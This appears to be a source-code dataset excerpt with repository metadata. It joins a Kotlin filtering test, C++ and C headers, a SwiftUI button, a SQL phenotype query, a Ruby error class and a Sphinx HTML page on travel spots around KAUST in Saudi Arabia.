import kotlin.test.assertEquals
import kotlin.test.assertSame
@RunWith(Parameterized::class)
class SeriesUtilFilterFiniteTest(
private val list0: List<Double?>,
private val list1: List<Double?>,
private val expected: List<List<Double>>, // Two output lists
) {
@Test
fun filterFinite() {
val filtered = SeriesUtil.filterFinite(list0, list1)
assertEquals(expected[0], filtered[0])
assertEquals(expected[1], filtered[1])
if (list0.size == filtered[0].size) {
assertSame(list0, filtered[0])
assertSame(list1, filtered[1])
}
}
companion object {
@JvmStatic
@Parameterized.Parameters
fun params(): Collection<Array<Any?>> {
return listOf<Array<Any?>>(
arrayOf(
emptyList<Double?>(),
emptyList<Double?>(),
listOf(emptyList<Double>(), emptyList<Double>())
),
arrayOf(
listOf<Double?>(null, Double.NEGATIVE_INFINITY, Double.NaN),
listOf<Double?>(1.0, 1.0, 1.0),
listOf(emptyList<Double>(), emptyList<Double>())
),
arrayOf(
listOf<Double?>(1.0, 1.0, 1.0),
listOf<Double?>(null, Double.NEGATIVE_INFINITY, Double.NaN),
listOf(emptyList<Double>(), emptyList<Double>())
),
arrayOf(
listOf<Double?>(null, 1.0, Double.NaN),
listOf<Double?>(1.0, Double.NEGATIVE_INFINITY, 1.0),
listOf(emptyList<Double>(), emptyList<Double>())
),
arrayOf(
listOf<Double?>(null, 1.0, Double.NaN),
listOf<Double?>(1.0, 2.0, Double.NEGATIVE_INFINITY),
listOf(listOf<Double>(1.0), listOf<Double>(2.0))
),
arrayOf(
listOf<Double?>(1.0, 2.0),
listOf<Double?>(3.0, 4.0),
listOf(listOf<Double>(1.0, 2.0), listOf<Double>(3.0, 4.0))
),
arrayOf(
listOf<Double?>(1.0, null),
listOf<Double?>(2.0, Double.NEGATIVE_INFINITY),
listOf(listOf<Double>(1.0), listOf<Double>(2.0))
),
arrayOf(
listOf<Double?>(Double.NaN, 1.0),
listOf<Double?>(null, 2.0),
listOf(listOf<Double>(1.0), listOf<Double>(2.0))
),
)
}
}
}
| 35.02381 | 96 | 0.50136 |
f71fe6e979a3a854d998ff73ff148210cd6fc3be | 1,019 | h | C | teleop_and_haptics/haptic_display_tools/include/haptic_display_tools/Graphics/SphericalCamera.h | atp42/jks-ros-pkg | 367fc00f2a9699f33d05c7957d319a80337f1ed4 | [
"FTL"
] | 3 | 2017-02-02T13:27:45.000Z | 2018-06-17T11:52:13.000Z | teleop_and_haptics/haptic_display_tools/include/haptic_display_tools/Graphics/SphericalCamera.h | salisbury-robotics/jks-ros-pkg | 367fc00f2a9699f33d05c7957d319a80337f1ed4 | [
"FTL"
] | null | null | null | teleop_and_haptics/haptic_display_tools/include/haptic_display_tools/Graphics/SphericalCamera.h | salisbury-robotics/jks-ros-pkg | 367fc00f2a9699f33d05c7957d319a80337f1ed4 | [
"FTL"
] | null | null | null | #ifndef SPHERICALCAMERA_H
#define SPHERICALCAMERA_H
#include "Camera.h"
class SphericalCamera : public OrbitingCamera
{
protected:
float m_azimuth, m_altitude;
float m_altitudeLimit;
int m_cardinalUp; // 0 for x, 1 for y, 2 for z
public:
SphericalCamera(cml::vector3f origin = cml::vector3f(0,0,0),
float radius = 2.f, int cardinalUp = 1);
void setAzimuth(float theta) { m_azimuth = theta; }
void setAltitude(float phi) { m_altitude = phi; }
// mutators for setting camera parameters
void setAltitudeLimit(float limit) { m_altitudeLimit = limit; }
void setCardinalUp(int up) { m_cardinalUp = up; }
// helper function to compute the view matrix from spherical parameters
virtual void computeViewMatrix();
// call these functions when mouse input is captured
virtual void mouseMove(int x, int y);
};
#endif // SPHERICALCAMERA_H
| 31.84375 | 80 | 0.62316 |
9d56b4cb54cbad79e1e021140212d9874889b932 | 1,652 | swift | Swift | ButtonView.swift | Jminding/CloudHanger | ffb17aba06b6883a36ec9af2bcf1d7a75b957ef9 | [
"MIT"
] | 1 | 2021-04-30T21:35:24.000Z | 2021-04-30T21:35:24.000Z | ButtonView.swift | Jminding/CloudHangerUI | ffb17aba06b6883a36ec9af2bcf1d7a75b957ef9 | [
"MIT"
] | null | null | null | ButtonView.swift | Jminding/CloudHangerUI | ffb17aba06b6883a36ec9af2bcf1d7a75b957ef9 | [
"MIT"
] | null | null | null | import SwiftUI
struct ButtonView: View {
@State var label: String
@Binding var fill: Bool
@State var action:() -> Void
@EnvironmentObject var viewRouter: ViewRouter
var body: some View {
Button(action: action){
ZStack{
if fill{
RoundedRectangle(cornerRadius: 10)
.fill(Color(#colorLiteral(red: 0.9490196078, green: 0.4705882353, blue: 0.3607843137, alpha: 1)))
.frame(width: 120, height: 40)
Text(label)
.font(
.custom("OpenSans-Semibold", size: 12.0))
.foregroundColor(.white)
} else {
RoundedRectangle(cornerRadius: 10)
.fill(Color(#colorLiteral(red: 1, green: 0.9529411765, blue: 0.9450980392, alpha: 1)))
.frame(width: 120, height: 40)
Text(label)
.font(
.custom("OpenSans-Semibold", size: 12.0))
.foregroundColor(Color(#colorLiteral(red: 0.6117647059, green: 0.6117647059, blue: 0.6117647059, alpha: 1)))
}
}
}
}
}
struct ButtonView_Previews: PreviewProvider {
static var previews: some View {
ButtonView(label: "Test", fill: .constant(true)) {
print("TestBtnPressed!")
}
}
}
| 30.036364 | 132 | 0.43523 |
6e22163dd5b8cb4b6196ecdaf530bacba01bb384 | 19,152 | html | HTML | docs/build/html/content/travel/saudi.html | zhxx1987/ZenusTech-Documentation | 78a2eb9afda74f8e4e31b66d83775ed18bfc5e3f | [
"MIT"
] | 1 | 2021-08-13T09:44:01.000Z | 2021-08-13T09:44:01.000Z | docs/build/html/content/travel/saudi.html | zhxx1987/ZenusTech-Documentation | 78a2eb9afda74f8e4e31b66d83775ed18bfc5e3f | [
"MIT"
] | null | null | null | docs/build/html/content/travel/saudi.html | zhxx1987/ZenusTech-Documentation | 78a2eb9afda74f8e4e31b66d83775ed18bfc5e3f | [
"MIT"
] | null | null | null |
<!DOCTYPE html>
<html class="writer-html5" lang="zh-CN" >
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>沙特 — KAUSTian_Handbook_CN 文档</title>
<link rel="stylesheet" href="../../_static/css/theme.css" type="text/css" />
<link rel="stylesheet" href="../../_static/pygments.css" type="text/css" />
<!--[if lt IE 9]>
<script src="../../_static/js/html5shiv.min.js"></script>
<![endif]-->
<script type="text/javascript" id="documentation_options" data-url_root="../../" src="../../_static/documentation_options.js"></script>
<script src="../../_static/jquery.js"></script>
<script src="../../_static/underscore.js"></script>
<script src="../../_static/doctools.js"></script>
<script src="../../_static/language_data.js"></script>
<script src="../../_static/translations.js"></script>
<script type="text/javascript" src="../../_static/js/theme.js"></script>
<link rel="index" title="索引" href="../../genindex.html" />
<link rel="search" title="搜索" href="../../search.html" />
<link rel="next" title="转账换汇" href="../finance/transfer.html" />
<link rel="prev" title="杂项" href="../life/misc.html" />
</head>
<body class="wy-body-for-nav">
<div class="wy-grid-for-nav">
<nav data-toggle="wy-nav-shift" class="wy-nav-side">
<div class="wy-side-scroll">
<div class="wy-side-nav-search" >
<a href="../../index.html" class="icon icon-home" alt="Documentation Home"> KAUSTian_Handbook_CN
</a>
<div role="search">
<form id="rtd-search-form" class="wy-form" action="../../search.html" method="get">
<input type="text" name="q" placeholder="在文档中搜索" />
<input type="hidden" name="check_keywords" value="yes" />
<input type="hidden" name="area" value="default" />
</form>
</div>
</div>
<div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation">
<p class="caption"><span class="caption-text">基础必备篇</span></p>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../basic/list.html">新生物品清单</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../basic/list.html#id2">强烈建议携带物品</a></li>
<li class="toctree-l2"><a class="reference internal" href="../basic/list.html#id3">较建议携带物品</a></li>
<li class="toctree-l2"><a class="reference internal" href="../basic/list.html#id4">禁止物品</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../basic/group_list.html">推荐的微信群</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../basic/group_list.html#id2">通用</a></li>
<li class="toctree-l2"><a class="reference internal" href="../basic/group_list.html#id3">购物</a></li>
<li class="toctree-l2"><a class="reference internal" href="../basic/group_list.html#id4">美食</a></li>
<li class="toctree-l2"><a class="reference internal" href="../basic/group_list.html#id5">运动</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../basic/bonus-getting.html">薅羊毛专用</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../basic/bonus-getting.html#id2">废物回收</a></li>
</ul>
</li>
</ul>
<p class="caption"><span class="caption-text">生活篇</span></p>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../life/drive.html">驾照</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../life/drive.html#id4">一:国内驾照换沙特驾照 (男性)</a><ul>
<li class="toctree-l3"><a class="reference internal" href="../life/drive.html#id5">1.1 网上报名</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/drive.html#id6">1.2 驾照缴费</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/drive.html#id7">1.3 预约考试</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/drive.html#id8">1.4 总共需要如下材料:</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/drive.html#id9">1.5 参加考试</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../life/drive.html#id11">二:国内驾照换沙特驾照 (女性)</a></li>
<li class="toctree-l2"><a class="reference internal" href="../life/drive.html#id12">三:新人学车</a></li>
<li class="toctree-l2"><a class="reference internal" href="../life/drive.html#id13">四:沙特驾照换国内驾照</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../life/rent_car.html">租车</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../life/rent_car.html#shift">Shift</a></li>
<li class="toctree-l2"><a class="reference internal" href="../life/rent_car.html#id2">租车的好处</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../life/buy_car.html">买车</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../life/buy_car.html#id2">推荐软件:</a></li>
<li class="toctree-l2"><a class="reference internal" href="../life/buy_car.html#id3">买车流程:</a></li>
<li class="toctree-l2"><a class="reference internal" href="../life/buy_car.html#id4">选车经验:</a></li>
<li class="toctree-l2"><a class="reference internal" href="../life/buy_car.html#id5">漫谈价格:</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../life/shopping.html">购物</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../life/shopping.html#id2">线下购物</a><ul>
<li class="toctree-l3"><a class="reference internal" href="../life/shopping.html#kaust">KAUST 校内</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/shopping.html#thuwal">Thuwal</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/shopping.html#jeddah">Jeddah</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../life/shopping.html#id3">网上购物</a><ul>
<li class="toctree-l3"><a class="reference internal" href="../life/shopping.html#noon">Noon</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/shopping.html#amazon-sa">Amazon.sa</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/shopping.html#facebook">Facebook 二手群</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/shopping.html#id5">品牌官网</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/shopping.html#tabby">Tabby</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../life/shopping.html#id6">中文购物</a><ul>
<li class="toctree-l3"><a class="reference internal" href="../life/shopping.html#id7">国内电商 -> 国际转运</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/shopping.html#id8">微信群购物</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/shopping.html#aliexpress">Aliexpress</a></li>
</ul>
</li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../life/sport.html">运动</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../life/sport.html#id2">跑步</a><ul>
<li class="toctree-l3"><a class="reference internal" href="../life/sport.html#id3">跑步场地</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/sport.html#id4">如何更容易坚持跑步</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../life/sport.html#id5">球类运动</a></li>
<li class="toctree-l2"><a class="reference internal" href="../life/sport.html#id6">攀岩</a></li>
<li class="toctree-l2"><a class="reference internal" href="../life/sport.html#id7">骑行</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../life/ticket.html">机票</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../life/ticket.html#id2">沙特航空</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../life/food.html">美食</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../life/food.html#discovery-square">discovery square</a></li>
<li class="toctree-l2"><a class="reference internal" href="../life/food.html#diner">diner</a></li>
<li class="toctree-l2"><a class="reference internal" href="../life/food.html#id2">外卖</a></li>
<li class="toctree-l2"><a class="reference internal" href="../life/food.html#id3">校内餐厅踩坑</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../life/music.html">音乐</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../life/music.html#youtube">使用YouTube听歌</a><ul>
<li class="toctree-l3"><a class="reference internal" href="../life/music.html#brave">Brave浏览器</a></li>
<li class="toctree-l3"><a class="reference internal" href="../life/music.html#firefox">Firefox浏览器</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../life/music.html#telegram">使用Telegram听歌并且下载歌曲</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../life/misc.html">杂项</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../life/misc.html#id2">理发</a><ul>
<li class="toctree-l3"><a class="reference internal" href="../life/misc.html#id3">男士理发</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../life/misc.html#id5">入校二维码</a></li>
</ul>
</li>
</ul>
<p class="caption"><span class="caption-text">旅游篇</span></p>
<ul class="current">
<li class="toctree-l1 current"><a class="current reference internal" href="#">沙特</a><ul>
<li class="toctree-l2"><a class="reference internal" href="#kaust">KAUST美景</a><ul>
<li class="toctree-l3"><a class="reference internal" href="#id2">地标</a></li>
<li class="toctree-l3"><a class="reference internal" href="#id3">潜水</a></li>
<li class="toctree-l3"><a class="reference internal" href="#id4">国王之眼看日出</a></li>
<li class="toctree-l3"><a class="reference internal" href="#id5">贵宾服务</a></li>
<li class="toctree-l3"><a class="reference internal" href="#id6">教学楼看日落</a></li>
<li class="toctree-l3"><a class="reference internal" href="#id7">别墅待遇</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="#id8">利雅德 景点</a><ul>
<li class="toctree-l3"><a class="reference internal" href="#the-edge-of-the-world">the edge of the world</a></li>
<li class="toctree-l3"><a class="reference internal" href="#id9">赛车比赛</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="#taif">Taif景点</a></li>
<li class="toctree-l2"><a class="reference internal" href="#id10">火山坑 景点</a></li>
</ul>
</li>
</ul>
<p class="caption"><span class="caption-text">财务篇</span></p>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../finance/transfer.html">转账换汇</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../finance/transfer.html#sar-rmb">转账回国(SAR->RMB)</a><ul>
<li class="toctree-l3"><a class="reference internal" href="../finance/transfer.html#sabb">SABB 转账</a></li>
<li class="toctree-l3"><a class="reference internal" href="../finance/transfer.html#stc-pay">STC Pay 转账</a></li>
</ul>
</li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../finance/investment.html">投资</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../finance/investment.html#id2">投资美股</a><ul>
<li class="toctree-l3"><a class="reference internal" href="../finance/investment.html#id3">选择券商</a></li>
<li class="toctree-l3"><a class="reference internal" href="../finance/investment.html#id6">开户</a></li>
<li class="toctree-l3"><a class="reference internal" href="../finance/investment.html#id8">入金</a></li>
<li class="toctree-l3"><a class="reference internal" href="../finance/investment.html#id10">其他</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../finance/investment.html#a">投资A股</a><ul>
<li class="toctree-l3"><a class="reference internal" href="../finance/investment.html#id11">万一免五佣金</a></li>
<li class="toctree-l3"><a class="reference internal" href="../finance/investment.html#id12">开户</a></li>
<li class="toctree-l3"><a class="reference internal" href="../finance/investment.html#id13">入金</a></li>
<li class="toctree-l3"><a class="reference internal" href="../finance/investment.html#id14">购买股票</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../finance/investment.html#id15">投资港股</a></li>
<li class="toctree-l2"><a class="reference internal" href="../finance/investment.html#id16">资金安全</a></li>
<li class="toctree-l2"><a class="reference internal" href="../finance/investment.html#id17">交易成本</a></li>
<li class="toctree-l2"><a class="reference internal" href="../finance/investment.html#id18">投资沙特</a></li>
<li class="toctree-l2"><a class="reference internal" href="../finance/investment.html#id19">投资比特币</a><ul>
<li class="toctree-l3"><a class="reference internal" href="../finance/investment.html#gbtc">通过灰度比特币信托基金(GBTC)投资</a></li>
<li class="toctree-l3"><a class="reference internal" href="../finance/investment.html#etf">通过比特币ETF投资</a></li>
<li class="toctree-l3"><a class="reference internal" href="../finance/investment.html#id20">通过比特币交易平台投资</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../finance/investment.html#app">好用的APP和网站</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../finance/open_account.html">银行开户</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../finance/open_account.html#id2">开户之前</a></li>
<li class="toctree-l2"><a class="reference internal" href="../finance/open_account.html#sabb">SABB</a></li>
<li class="toctree-l2"><a class="reference internal" href="../finance/open_account.html#samba">Samba</a></li>
</ul>
</li>
</ul>
</div>
</div>
</nav>
<section data-toggle="wy-nav-shift" class="wy-nav-content-wrap">
<nav class="wy-nav-top" aria-label="top navigation">
<i data-toggle="wy-nav-top" class="fa fa-bars"></i>
<a href="../../index.html">KAUSTian_Handbook_CN</a>
</nav>
<div class="wy-nav-content">
<div class="rst-content">
<div role="navigation" aria-label="breadcrumbs navigation">
<ul class="wy-breadcrumbs">
<li><a href="../../index.html" class="icon icon-home"></a> »</li>
<li>沙特</li>
<li class="wy-breadcrumbs-aside">
<!-- User defined GitHub URL -->
<a href="https://github.com/guochengqian/KAUSTian_Handbook_CN" class="fa fa-github"> 在 GitHub 上修改</a>
</li>
</ul>
<hr/>
</div>
<div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article">
<div itemprop="articleBody">
<div class="section" id="id1">
<h1>沙特<a class="headerlink" href="#id1" title="永久链接至标题">¶</a></h1>
<p>接下来讲的大多数是在沙特阿拉伯内部的值得旅游的景点
俗话说“读万卷书,行万里路”。
每一次在沙特旅游,都能让KAUSTian对世界有着不同的见解
也更能理解什么是纯粹的幸福和快乐</p>
<div class="section" id="kaust">
<h2>KAUST美景<a class="headerlink" href="#kaust" title="永久链接至标题">¶</a></h2>
<p>KAUST的存在就是一个世外桃源,有很多娱乐设施值得推荐的</p>
<div class="section" id="id2">
<h3>地标<a class="headerlink" href="#id2" title="永久链接至标题">¶</a></h3>
<img alt="../../_images/label.jpg" src="../../_images/label.jpg" />
</div>
<div class="section" id="id3">
<h3>潜水<a class="headerlink" href="#id3" title="永久链接至标题">¶</a></h3>
<p>snorkeling是非去不可的了,潜入红海,看珊瑚并和小鱼比谁游得快
运气好的话,还会有一群海豚在船后面跟着你游</p>
<img alt="../../_images/dolphin.jpg" src="../../_images/dolphin.jpg" />
<p>另外平时运气好,或者住的宿舍靠海比较近
出去散个步也能亲近自然</p>
<img alt="../../_images/big_fish.jpg" src="../../_images/big_fish.jpg" />
</div>
<div class="section" id="id4">
<h3>国王之眼看日出<a class="headerlink" href="#id4" title="永久链接至标题">¶</a></h3>
<p>可以在Facebook KAUST committee淘一个二手自行车三百沙到五百沙不等
还可以清晰的看到水中到处摇摆的鱼</p>
<img alt="../../_images/fish.jpg" src="../../_images/fish.jpg" />
</div>
<div class="section" id="id5">
<h3>贵宾服务<a class="headerlink" href="#id5" title="永久链接至标题">¶</a></h3>
<p>每位新来的学生都会有由学校专门准备的接机服务,完全不用担心打不到车的问题</p>
<img alt="../../_images/car.jpg" src="../../_images/car.jpg" />
</div>
<div class="section" id="id6">
<h3>教学楼看日落<a class="headerlink" href="#id6" title="永久链接至标题">¶</a></h3>
<p>一般在下午五六点的样子,就能在侧面看到日落的美景,就像看到了极乐世界</p>
<img alt="../../_images/building.jpg" src="../../_images/building.jpg" />
</div>
<div class="section" id="id7">
<h3>别墅待遇<a class="headerlink" href="#id7" title="永久链接至标题">¶</a></h3>
<p>每个人都能享受到别墅服务,属于纯粹的拎包入住,一切设备屋子里都有</p>
<img alt="../../_images/vilina.jpg" src="../../_images/vilina.jpg" />
</div>
</div>
<div class="section" id="id8">
<h2>利雅德 景点<a class="headerlink" href="#id8" title="永久链接至标题">¶</a></h2>
<p>未下飞机之前可以看到灯火通明的场景</p>
<img alt="../../_images/flight.jpg" src="../../_images/flight.jpg" />
<div class="section" id="the-edge-of-the-world">
<h3>the edge of the world<a class="headerlink" href="#the-edge-of-the-world" title="永久链接至标题">¶</a></h3>
<p>又称世界之巅
强推,这应该是在沙特里面最让人难忘的地方了</p>
<img alt="../../_images/edgeworld.jpg" src="../../_images/edgeworld.jpg" />
<img alt="../../_images/mountain.jpg" src="../../_images/mountain.jpg" />
<img alt="../../_images/mountian.jpg" src="../../_images/mountian.jpg" />
</div>
<div class="section" id="id9">
<h3>赛车比赛<a class="headerlink" href="#id9" title="永久链接至标题">¶</a></h3>
<p>赶上了方程赛车比赛,感受超速竞技游戏的乐趣</p>
<img alt="../../_images/cars.jpg" src="../../_images/cars.jpg" />
<img alt="../../_images/racing.jpg" src="../../_images/racing.jpg" />
</div>
</div>
<div class="section" id="taif">
<h2>Taif景点<a class="headerlink" href="#taif" title="永久链接至标题">¶</a></h2>
<p>异域风情和中东文化</p>
<img alt="../../_images/light.jpg" src="../../_images/light.jpg" />
<img alt="../../_images/people.jpg" src="../../_images/people.jpg" />
</div>
<div class="section" id="id10">
<h2>火山坑 景点<a class="headerlink" href="#id10" title="永久链接至标题">¶</a></h2>
<p>中途停下来的时候,猴子会跳上车来, 和你示好</p>
<img alt="../../_images/monkey.jpg" src="../../_images/monkey.jpg" />
</div>
</div>
</div>
</div>
<footer>
<div class="rst-footer-buttons" role="navigation" aria-label="footer navigation">
<a href="../finance/transfer.html" class="btn btn-neutral float-right" title="转账换汇" accesskey="n" rel="next">下一页 <span class="fa fa-arrow-circle-right"></span></a>
<a href="../life/misc.html" class="btn btn-neutral float-left" title="杂项" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left"></span> 上一页</a>
</div>
<hr/>
<div role="contentinfo">
<p>
© 版权所有 2021, Guocheng Qian
</p>
</div>
利用 <a href="http://sphinx-doc.org/">Sphinx</a> 构建,使用了
<a href="https://github.com/rtfd/sphinx_rtd_theme">主题</a>
由 <a href="https://readthedocs.org">Read the Docs</a>开发.
</footer>
</div>
</div>
</section>
</div>
<script type="text/javascript">
jQuery(function () {
SphinxRtdTheme.Navigation.enable(true);
});
</script>
</body>
</html> | 41.187097 | 171 | 0.637166 |
7a54be51516aa7c2f4db7682d73ab8f41897fd3d | 2,083 | sql | SQL | Usda.PlantBreeding.Database/dbo/Stored Procedures/GetPhenotypeEntry.sql | osu-cass/usda-plant-breeding | 4163aaeb87f7e3934aca80298582639c60b458c2 | [
"MIT"
] | 2 | 2020-01-07T07:39:59.000Z | 2020-02-19T19:41:11.000Z | Usda.PlantBreeding.Database/dbo/Stored Procedures/GetPhenotypeEntry.sql | osu-cass/usda-plant-breeding | 4163aaeb87f7e3934aca80298582639c60b458c2 | [
"MIT"
] | 12 | 2019-08-15T16:33:32.000Z | 2022-03-02T05:09:46.000Z | Usda.PlantBreeding.Database/dbo/Stored Procedures/GetPhenotypeEntry.sql | osu-cass/usda-plant-breeding | 4163aaeb87f7e3934aca80298582639c60b458c2 | [
"MIT"
] | 1 | 2019-08-09T18:03:24.000Z | 2019-08-09T18:03:24.000Z |
-- =============================================
-- Author: <Author,,Name>
-- Create date: <Create Date,,>
-- Description: <Description,,>
-- =============================================
CREATE PROCEDURE [dbo].[GetPhenotypeEntry]
@Year varchar(5),
@MapId int,
@GenotypeId int
AS
BEGIN
-- SET NOCOUNT ON added to prevent extra result sets from
-- interfering with SELECT statements.
SET NOCOUNT ON;
Select mcy.Id [MapCompYearId], mc.GenotypeId, a.Text, q.Label, mc.Row, mc.PlantNum, a.Id [answerId], q.[Order], Maps.PicklistPrefix, mc.PickingNumber PickingNumber, mc.ExternalId, mc.PlantsInRep, mc.Rep
,ISNULL(NULLIF(femaleGenotype.GivenName, ' '), femaleGenotype.OriginalName) as [FemaleGenotypeName], ISNULL(NULLIF(maleGenotype.GivenName, ' '), maleGenotype.OriginalName) as [MaleGenotypeName]
, ISNULL(NULLIF(g.GivenName, ' '), g.OriginalName) as [GenotypeName]
, mcy.Comments
, fct.Name [CrossTypeName]
, Maps.Name [MapName]
, Years.[Year] [YearName]
, STUFF((
Select ', ' + Fates.Label
From MapComponentYearsFate
Inner Join Fates
on Fates.Id = MapComponentYearsFate.Fates_Id
where MapComponentYearsFate.MapComponentYears_Id = mcy.Id
order by 1
for xml path('')
), 1, 1, '' ) AS [Fates]
from Maps
Inner Join MapQuestion mq
on mq.Maps_Id = Maps.Id
Inner Join Questions q
on q.Id = mq.Questions_Id
Inner Join MapComponents mc
on mc.MapId = Maps.Id
Inner Join MapComponentYears mcy
on mcy.MapComponentId = mc.Id
Inner Join Years
on Years.Id = mcy.YearsId
Left Join Answers a
on a.MapComponentYearsId = mcy.Id
and a.QuestionId = q.Id
Left Join Genotypes g
on mc.GenotypeId = g.Id
Left Join Families f
on g.FamilyId = f.Id
Left Join CrossTypes fct
on fct.Id = f.CrossTypeId
Left Join Genotypes femaleGenotype
on f.FemaleParent = femaleGenotype.Id
Left Join Genotypes maleGenotype
on f.MaleParent = maleGenotype.Id
where
ISNULL(@GenotypeId, g.Id) = g.Id
and ISNULL(@MapId, mc.MapId) = mc.MapId
and ISNULL(@Year, Years.[Year]) = Years.[Year]
and mc.isSeedling = 0
Order By Years.[Year] Desc, mc.GenotypeId, Row, PlantNum, q.Label
END | 27.051948 | 203 | 0.704273 |
92c840379cd9171f22e41f21f4c2e267e83f839b | 1,234 | h | C | private/mvdm/wow32/winspldl.h | King0987654/windows2000 | 01f9c2e62c4289194e33244aade34b7d19e7c9b8 | [
"MIT"
] | 11 | 2017-09-02T11:27:08.000Z | 2022-01-02T15:25:24.000Z | private/mvdm/wow32/winspldl.h | King0987654/windows2000 | 01f9c2e62c4289194e33244aade34b7d19e7c9b8 | [
"MIT"
] | null | null | null | private/mvdm/wow32/winspldl.h | King0987654/windows2000 | 01f9c2e62c4289194e33244aade34b7d19e7c9b8 | [
"MIT"
] | 14 | 2019-01-16T01:01:23.000Z | 2022-02-20T15:54:27.000Z |
extern BOOL fWinspoolLoaded;
extern DWORD (WINAPI *lpfnDEVICECAPABILITIES)(LPSTR lpDriverName, LPSTR lpDeviceName,
WORD nIndex, LPSTR lpOutput, LPDEVMODE lpDevMode);
extern BOOL (WINAPI *lpfnDEVICEMODE)(HWND hWnd, LPSTR lpDriverName, LPSTR lpDeviceName, LPSTR lpOutput);
extern DWORD (WINAPI *lpfnEXTDEVICEMODE)(HWND hWnd,LPSTR lpDriverName,
LPDEVMODE lpDevModeOutput, LPSTR lpDeviceName, LPSTR lpPort,
LPDEVMODE lpDevModeInput, LPSTR lpProfile, DWORD flMode);
extern BOOL (WINAPI *lpfnOpenPrinter)(LPSTR pPrinterName, LPHANDLE phPrinter,
VOID *pDefault);
extern DWORD (WINAPI *lpfnStartDocPrinter)(HANDLE hPrinter, DWORD Level,
LPBYTE pDocInfo);
extern BOOL (WINAPI *lpfnStartPagePrinter)(HANDLE hPrinter);
extern BOOL (WINAPI *lpfnEndPagePrinter)(HANDLE hPrinter);
extern BOOL (WINAPI *lpfnEndDocPrinter)(HANDLE hPrinter);
extern BOOL (WINAPI *lpfnClosePrinter)(HANDLE hPrinter);
extern BOOL (WINAPI *lpfnWritePrinter)(HANDLE hPrinter, LPVOID pBuf, DWORD cbBuf,
LPDWORD pcWritten);
extern BOOL (WINAPI *lpfnDeletePrinter)(HANDLE hPrinter);
BOOL LoadWinspoolAndGetProcAddresses();
| 42.551724 | 105 | 0.720421 |
1873f8ba9772f2102e566804221b1f345e5ddedd | 106 | rb | Ruby | lib/lux/errors/api_error.rb | Romuloux/lux | 9c2a0ef3a87e1ca7991e51fe67e2831556f2a791 | [
"MIT"
] | null | null | null | lib/lux/errors/api_error.rb | Romuloux/lux | 9c2a0ef3a87e1ca7991e51fe67e2831556f2a791 | [
"MIT"
] | null | null | null | lib/lux/errors/api_error.rb | Romuloux/lux | 9c2a0ef3a87e1ca7991e51fe67e2831556f2a791 | [
"MIT"
] | null | null | null | module Lux
class ApiError < StandardError
def initialize(code)
super(code)
end
end
end | 11.777778 | 32 | 0.660377 |
b3c3987c34cd4b9ccaaebf29b5f6f2d2e0822d66 | 52 | rb | Ruby | lib/cocoapods-binary-bel/gem_version.rb | DevaLee/cocoapods-binary-bel | d4d925c1ca5fdbf167256efa9688d3fbfcde35a5 | [
"MIT"
] | 2 | 2021-11-30T02:06:44.000Z | 2021-12-05T11:10:46.000Z | lib/cocoapods-binary-bel/gem_version.rb | DevaLee/cocoapods-binary-bel | d4d925c1ca5fdbf167256efa9688d3fbfcde35a5 | [
"MIT"
